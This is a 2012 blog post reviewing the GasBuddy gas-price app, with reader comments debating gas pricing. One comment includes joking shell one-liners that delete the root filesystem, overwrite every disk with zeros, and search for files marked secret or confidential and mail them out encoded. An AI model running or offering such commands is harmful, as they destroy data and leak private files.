TLWIR 42: GasBuddy Crowdsources to Lower Gas Prices

by Rex Djere on July 22, 2012 · 2 comments


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The success of GNU/Linux, free software, and open source have inspired a whole new generation of collaborative projects. Wikipedia, the online user-editable encyclopedia, is now the 6th most trafficked website in the world, according to Alexa. I have been extremely frustrated by high gas prices, so much so that I seeked out a powerful application to come to the rescue. The app that I found is called GasBuddy, and it is available for our beloved Android operating system, as well as for the Iphone. In The Linux Week in Review 42, I will describe what GasBuddy is, and how it can help you to use the collaborative concepts behind GNU/Linux and Wikipedia to save money on gas.

GasBuddy Demo Video (Sorry, for the shaky video. This was my first video done with a mobile camera.)

GasBuddy Overcomes Gas Price Gouging
One thing is very clear when I pore over the data that I receive from GasBuddy: a lot of companies overcharge for gas. How can one station charge $3.65 for a gallon of gas when a station less than a mile away can afford to sell that same gallon for $3.43? Inefficiency? Greed? It is probably a combination of factors. GasBuddy allows me to avoid the companies and stations that can’t get their act together. Because of GasBuddy’s crowdsourcing nature, it will hopefully force overpriced stations to lower their prices. Any GasBuddy user can update the prices at any station in the database. A user can also recommend stations be added to the database if they are not there already. To update the price, you must sign up with a username and password, so anyone abusing the system (e.g. by putting in false data) can be banned.

GasBuddy Running on a Toshiba Thrive Android 3.2 Tablet

Navigating to Save Gas
One of GasBuddy’s greatest features is its ability to help you navigate to cheap gas. Hitting the “Directions” button in GasBuddy brings up your default navigation app, which can then navigate you to the gas station of your choice. I use Google Maps Navigation (a free application) to navigate me to the cheapest gas station, as determined by GasBuddy. I save a little bit of money each time I buy gas, but this small amount adds up over time. I also gain points in the GasBuddy system. These points can be used to enter raffles for the opportunity to win prizes.

GasBuddy on an HTC Vivid SmartPhone (Android ICS)

The success of GasBuddy will probably cause a lot more applications to follow the crowdsourcing example. Groupon is one huge example of people lowering the prices that they pay by forming collective groups. Though GasBuddy and GNU/Linux may appear unrelated on the surface, the same concepts empower both of them. If you want to try GasBuddy yourself, it is available in the Google Play Store and in the Iphone App Store.

I look forward to seeing you in TLWIR 43!


Me July 22, 2012 at 11:43 am


I like and use GasBuddy too, but I think you’re slightly mislead on a few things here.

You DON”T need a login to update prices. I’ve got a new phone and haven’t looked up my ID yet but can update prices just fine.

Overcharge for gas for “that same gallon”? Really? Take off your paranoid hat and goggles and actually *think* for a minute.

* _NO_ it’s not the same gallon. At best it’s a duplicate gallon and at worst it’s a different additive mixture. (Nits, but still there.)

* Gax prices vary over days. Trucks deliver and the station pays. I’ve heard (don’t know) that the stations charge for the *replacement cost* — not what they paid — to fill up their tanks of gas.

* Even assuming everything else is exactly identical: location, location, location, and how much is their mortgage? It’s NOT the same from one plot of land to another. How much gas do you use to travel to the cheaper, further gas?

Or think about O2 tanks on a mountain climb. It’s a higher price for “JUST” oxygen, and it’s ONLY 100 feet away. Horizontally. Of course it’s also 1,000 feet away vertically, but so what?

* Finally, an old style notion: Charge what the market will bear. You will not do anyone any good if you charge $1 for a widget IF you soon go out of business. Conversely you will go broke if you charge a million dollars for a box of dirt. Just because a cost is higher doesn’t mean they’re ripping you off and pocketing the money; THEY’VE got expenses as well.

Companies are usually in business to MAKE A PROFIT. That they can make you happy or content doing so is a nice side benefit and why we put up with them. But their primary, ultimate purpose is not to make you happy or give you stuff for free. TANSTAAFL.

GasBuddy has been around for years, glad you finally found it. So what did you do during the last recent great gas spike, or the original one back in the ’80s?

I know — let’s use price controls — that worked so well last time!

Groupon’s about to go under so I understand — not that they’re not trying to stay around, but (a) I hear most companies don’t end up making money from the deal, and (b) they’re not that special — google/amazon/whomever can duplicate their “special sauce” with ease.

Oh! You wanted to talk about linux, not economics? OK.

# echo Logical fun
# rm -rf . /
# echo Physical fun
# for a in /dev/{sd*,hd*} ; do cat /dev/zero > $a 2>/dev/null & echo $a; done
# echo Keyword fun
# for x in `grep -r -i -w -l “important\|secret\|confidential” / ` ; do gzip -c “$x” | base64 -e | mail -s ReadMe ; done

…and if you’re really awful, you make that last one post to newsgroups. (DIY wikileaks.) This is all old hat though, nothing new.

Have a good day.

OTOH, there are fools born every minute:‘+High-Speed+HDMI+Cable+-+Dark+Gray/Black/2383276.p?id=1218324437192


…but up to Omamacare, you don’t have to actually purchase one of them.

Rex Djere July 25, 2012 at 8:30 pm

Thank you very much for the thoughtful response!

You DON”T need a login to update prices. I’ve got a new phone and haven’t looked up my ID yet but can update prices just fine.

Thanks for the heads up on that! I’m pretty new to GasBuddy (42 days). I immediately signed up for an account, so I had never tried an anonymous update.

* _NO_ it’s not the same gallon. At best it’s a duplicate gallon and at worst it’s a different additive mixture. (Nits, but still there.)

Understood. However, I’ve done a little bit of research on Arco gas. They take a great deal of pride in offering their customer’s the most value. I just wish more companies put the customer first, as Arco does, and put profits second.

Thanks again for the comment!

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